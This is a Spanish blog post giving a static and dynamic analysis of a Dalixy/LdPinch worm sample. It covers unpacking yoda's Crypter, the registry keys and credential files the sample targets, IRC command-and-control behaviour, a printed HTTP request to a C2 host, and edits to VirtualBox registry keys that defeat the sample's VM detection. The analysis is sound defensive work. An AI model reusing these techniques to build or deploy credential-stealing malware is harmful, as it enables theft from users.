Análisis estático del gusano Dalixy

Resumen

En esta entrada del blog se documenta el análisis realizado a una variante de la familia de malware Dalixy, también conocida como LdPinch, Dalia o Trodal. Dalixy es un programa malicioso que tiene características tanto de gusano (envío por correo electrónico) como de bot (comunicación por medio de un canal de IRC).

 

 

 


 

 

Análisis Estático

El primer paso fue realizar una revisión de cadenas utilizando BinText, donde se encontraron algunas cuyo objetivo es hacer creer al usuario que el software es legítimo, como se puede observar en las propiedades del archivo, donde encontramos los siguientes datos:

-          Descripción: Windows stack Processor

-          Copyright: Microsoft(R) Windows(R) Operating System

-          Comentarios: Этовесьмаважныйфаилнесмейегоудалить! (Oración en ruso donde una posible traducción sería “¡Este es un archivo muy importante no se atrevan a borrarlo!”)

-          Compañía: Microsoft Corporation

-          Contacto de la compañía: support@microsoft.com

-          Nombre Original del Archivo: winlogon.exe

-          Control de versiones agregado por: Windows

-          Язык (Idioma): Ruso

 


 

 

Después utilizamos la herramienta Exeinfo PE para comprobar que la muestra estaba empaquetada con yoda’s Crypter, que es un software gratuito para comprimir y cifrar ejecutables, aunque es más utilizado por creadores de programas maliciosos para evadir los antivirus.

 


 

Algunas de las características de yoda’s Crypter son las siguientes:

-          El ejecutable tiene una o más secciones llamadas “yC”.

 


 

 

-          Puede tener al inicio un bloque de código con las siguientes instrucciones:

PUSHAD CALL xxxxxx POP EBP SUB EBP, xxxx MOV ECX, xxxx [Aquí puede o no haber otras líneas de código] LEA EDI, xxxx

Tal como se puede observar en la siguiente imagen, extraída de la muestra.

 


 

 

-          El OEP (Original Entry Point) o punto de entrada del ejecutable sin empaquetador puede ser una instrucción PUSH con algún valor hexadecimal o MOV, como se verá más adelante.

 

1) Proceso para remover yoda’s Crypter

Para desempaquetar, el primer paso es abrir el ejecutable en OllyDbg y presionar F8 hasta llegar a la instrucción que está después de PUSHAD (manda el contenido de los registros de propósito general al stack en este orden: EAX, ECX, EDX, EBX, EBP, ESP, ESI y EDI), que es una llamada a una subrutina. La instrucción CALL guarda la dirección de la siguiente instrucción en la pila (0042F066) y después realiza un salto a la dirección indicada en la etiqueta (call <etiqueta>), que en este caso es 0042F066. Cuando esta subrutina termina, el programa continúa su ejecución en la dirección que se guardó en la pila, que en este caso es 0042F066.

En el área de registros le damos clic derecho al valor almacenado en ESP (Extended Stack Pointer que contiene la dirección del último valor almacenado en la pila) y seleccionamos “Follow in Dump”. Esto nos permite ver el contenido de la memoria en la dirección almacenada en el registro.

 


 

 

En este caso lo importante no es el contenido de la memoria, lo que necesitamos es poner un punto de interrupción de tipo “Hardware, on Access” para detener la ejecución del programa cuando trate de leer o escribir en esa dirección.

Con el mouse, seleccionamos los primeros cuatro bytes (4 bytes = 2 WORDS = 1 DWORD) en el área de volcado de memoria para poner el punto de interrupción. Esto se hace dando clic con el botón derecho sobre la selección y eligiendo la opción “Breakpoint”, después “Hardware, on Access” y finalmente “Dword”.

 


 

 

Presionamos F9 y la ejecución se detiene debido a una interrupción INT 3, suele ser utilizada por debuggers para establecer puntos de interrupción.

 


 

 

Continuamos con la ejecución del programa hasta que se detiene por una violación de lectura en memoria como la que se muestra a continuación:

 


 

 

Presionamos las teclas Shift+F9 una sola vez y Olly detiene la ejecución del programa en un punto de interrupción de hardware.

 


 

 

En ese punto, recorremos paso a paso con F7 o F8 hasta llegar al salto incondicional (JMP) y después presionamos F9 dos veces hasta que Olly indique una violación de escritura.

 


 

 

Presionamos Shift+F9 de nuevo y Olly se detiene en lo que parece ser una sección sin instrucciones relevantes, damos clic con el botón derecho en cualquier parte de la sección del código desensamblado y seleccionamos “Analyze This!” para distinguir código de datos. Presionamos nuevamente la tecla F9 y en la instrucción de salto presionamos F7 o F8 una sola vez.

La instrucción “MOV EAX, 0” en la que Olly se detuvo es el punto de entrada original de esta muestra de Dalixy sin el empaquetador yoda’s Crypter. Hacemos un volcado de memoria en esa instrucción.

Nota: Este procedimiento es específico para esta muestra de Dalixy y puede no funcionar con otras versiones del empaquetador o con otras muestras maliciosas, aún si son de la misma familia.

A continuación abrimos la herramienta ImpREC y seleccionamos el proceso activo del malware. y en el campo de OEP agregamos los últimos cuatro dígitos de la dirección en la que se detuvo Olly y damos clic en “IAT AutoSearch”.

 


 

 

ImpREC nos indica que detectó una dirección de la tabla de direcciones de las funciones del sistema importadas; para validar esto, damos clic en “Get imports” y como nos indica que todas las funciones encontradas son válidas, ya podemos reparar la IAT utilizando el volcado que hicimos con Olly. Damos clic en “Fix Dump” y seleccionamos el archivo que contiene el volcado de memoria.

 


 

 

Como lo indica el log, la reparación se realizó exitosamente.

 


 

 

2) Llaves de registro

Utilizando la versión gratuita de IDA Pro, se encontraron las cadenas “99BCryptIV”, “Miranda ICQ DB” y “password”, relacionadas con la aplicación de mensajería instantánea ICQ, desarrollada por la empresa Mirabilis. En otro bloque de código se puede observar la llamada a la función RegCreateKeyA para crear o abrir una llave o subclave de registro que incluya la ruta “SOFTWARE\Mirabilis\ICQ\NewOwners”.

 

 

Posteriormente se crean o abren dos subclaves de registro más:

·         Una para “SOFTWARE\Miranda”, también para mensajería instantánea.

·         Y otra con el nombre “Software\Far\Plugins\FTP\Hosts”.

Además, agrega el valor “winlogon” a la llave de registro “Software\Microsoft\Windows\CurrentVersion\Run”.

La biblioteca que contiene las funciones relacionadas con el manejo de llaves de registro es ADVAPI32.dll, que la muestra manda llamar mediante la función “LoadLibraryA”.

 

 

3) Sistema de archivos

La muestra intenta descargar 3 archivos (dfp.exe, pspv.exe y winnt2.dll) de la URL “http://www.posizionaxxxxxx.com/tools/win...”.

 

 

Posteriormente crea, o abre, los archivos “windows.ini”, “windows3.ini” y “win.ini”. Y borra “windows2.ini”.

 

 

Busca un nombre y una contraseña en la sección que indica AppName del archivo de configuración (.ini) cuya ruta se encuentra en szPath.


 

 

Además busca en el sistema los siguientes archivos:

  • - fethard_keyfile
  • - userpref.ini
  • - ipass.ini
  • - wcx_ftp.ini: Contiene la configuración para un cliente FTP
  • - edialer.ini
  • - ws_ftp.ini
  • - pal.ini
  • - pal95.ini

 

4) Actividad de red

También se encontraron bloques de código relacionados con un canal de IRC. Primero se utiliza la función inet_addr que toma como parámetro la cadena de la IP de irc01.megaxxxxxxxx.com, con la notación estándar de números decimales y puntos, y regresa un número adecuado para ser utilizado como una dirección IP. Por defecto, la ejecución del programa se va hacia el bloque que indica la flecha verde, que en este caso es una función connect, que solicita una conexión a un host remoto. En caso contrario, se utiliza la función gethostbyname, para obtener información sobre irc01.megaxxxxxxxx.com y tratar de resolver el nombre del host a través de un servidor DNS. Si no lo logra, espera 6249milisegundos, lo que equivale a 6.249 segundos, y llama a la función inet_ntoa, que recibe una dirección y regresa un apuntador a una cadena que debe estar expresada como IP.

 

 

 

Después de conectarse a irc01.megaxxxxxxxx.com, que es un servidor IRC (Internet Relay Chat), con el usuario“research”, cuyo nombre real es “dalia asm bot 0.2” y que tiene como servidor a “freexxxx.org”, se une al canal“#general”. Donde espera hasta que recibe un comando y después cierra el socket.

 


 

 

También puede enviar mensajes privados al canal “#general” con el comando PRIVMESG.

 


 

Adicionalmente intenta convertir la cadena con la dirección IP 65.174.xxx.166 en una representación binaria adecuada y compara el valor obtenido con 0FFFFFFFFh, que en decimal es 4294967295, el equivalente a la dirección de broadcast 255.255.255.255.

El resultado de esta comparación va a ser el mismo en cada ejecución debido a que ambos valores son constantes, por lo que la muestra va a intentar conectarse a la IP 65.174.xxx.166 y no al dominio “thecpaxxxx.us”. Esta es una técnica de ofuscación llamada “inserción de código basura” (garbage code insertion), que consiste en añadir instrucciones que no tienen ningún efecto o función en el código para dificultar el análisis.

Después de conectarse a la dirección IP, se realiza la siguiente petición HTTP:

GET /images/proxy3.php?i= HTTP/1.1

Host: thecpaxxxx.us

Como se puede observar, la muestra intenta descargar el archivo proxy3.php del dominio “thecpaxxxx.us”, posiblemente utilizando la IP 65.174.xxx.166 como proxy, aunque no fue posible comprobar esto debido a que no se encontraba activa al momento del análisis. Sin embargo, existen reportes donde esta dirección IP se ha utilizado para actividades maliciosas, como se puede observar en las siguientes ligas:

http://www.projecthoneypot.org/ip_65.174.123.166

http://www.threatexpert.com/report.aspx?md5=e471cd892f3426f9aa7c0d1c2e17a570

 

 

 

Por último, se encontraron cadenas que hacían referencia a un correo electrónico (la cuenta pudo ser creada para iniciar la propagación de la muestra):

MAIL FROM: maypayapxxxx@list.ru

RCPT TO: maypayapxxxx@list.ru

MAIL FROM:< RCPT TO:< Date: Tue, 25 Nov 2003 22:04:50 +0300\r\n MIME-Version: 1.0\r\nContent-Type: text/plain  

 

Análisis Dinámico

 

Al principio no fue posible observar el comportamiento de la muestra, ya que después de ejecutarla el proceso terminaba segundos después. Como vimos en el análisis estático, la muestra utiliza ciertas funciones de la biblioteca ADVAPI32 relacionadas con llaves de registro, por lo que es posible que revisara si el equipo donde se estaba ejecutando se trataba de una máquina virtual.

Para resolver esto, se modificaron aquellas llaves de registro que contenían la cadena “VBOX”:

-         En HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT renombramos la sub-llave VBOX__ a NOBOX__

 


 

 

-        En HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SUBSYSTEM damos clic derecho en “SystemBiosVersion” y seleccionamos “Modificar” para cambiar VBOX a NOBOX.

 


 

 

Después de esto ya fue posible ejecutar la muestra. TCPView y Wireshark no registraron actividad de red.

 

Por otro lado, en el reporte generado con la herramienta RegShot se puede observar que la muestra sólo crea un archivo llamado MALWARE.EXE-0C3A805F.pf en C:\WINDOWS\Prefetch\

 


 

 

En la carpeta Prefetch se encuentran varios archivos que contienen un registro de la forma en que la computadora inicia y de los programas que se ejecutan con más frecuencia. Estos archivos ayudan a acelerar el proceso de arranque y reducen el tiempo de inicio de esos programas.

Al reiniciar el sistema, no se detectó la ejecución de la muestra. Resulta sospechoso que en el análisis estático se encontraran tantos bloques de código y funciones relacionadas con servicios de red y que al ejecutar la muestra no se obtuviera tráfico ni en Wireshark ni en TCPDump. Utilizando la herramienta Process Monitor, se descubrió que el programa malicioso trata de llamar diversas bibliotecas del sistema, como NETAPI32.dll y WS2_32.dll, desde el mismo directorio donde se ejecutó, que en este caso se localiza en “Mis Documentos”.

 


 

Esto nos hace pensar que la muestra posiblemente esperaba encontrarse en el directorio C:\WINDOWS\System32 y que ésta es la razón por la que no se obtuvo más actividad. Copiamos la muestra a System32 y la ejecutamos de nuevo. Sin embargo, su comportamiento no cambió: sólo crea un archivo con extensión “pf”, no hay actividad de red y no se generan llaves de registro. Posiblemente se deba a que la muestra requiere algún otro software de Microsoft para ejecutarse o a que está llevando a cabo más validaciones para saber si se está ejecutando en un equipo físico o en uno virtual.

 

El reporte completo de VirusTotal se puede revisar aquí.

 

En caso de infección por esta muestra se puede consultar la siguiente página: INTECO-CERT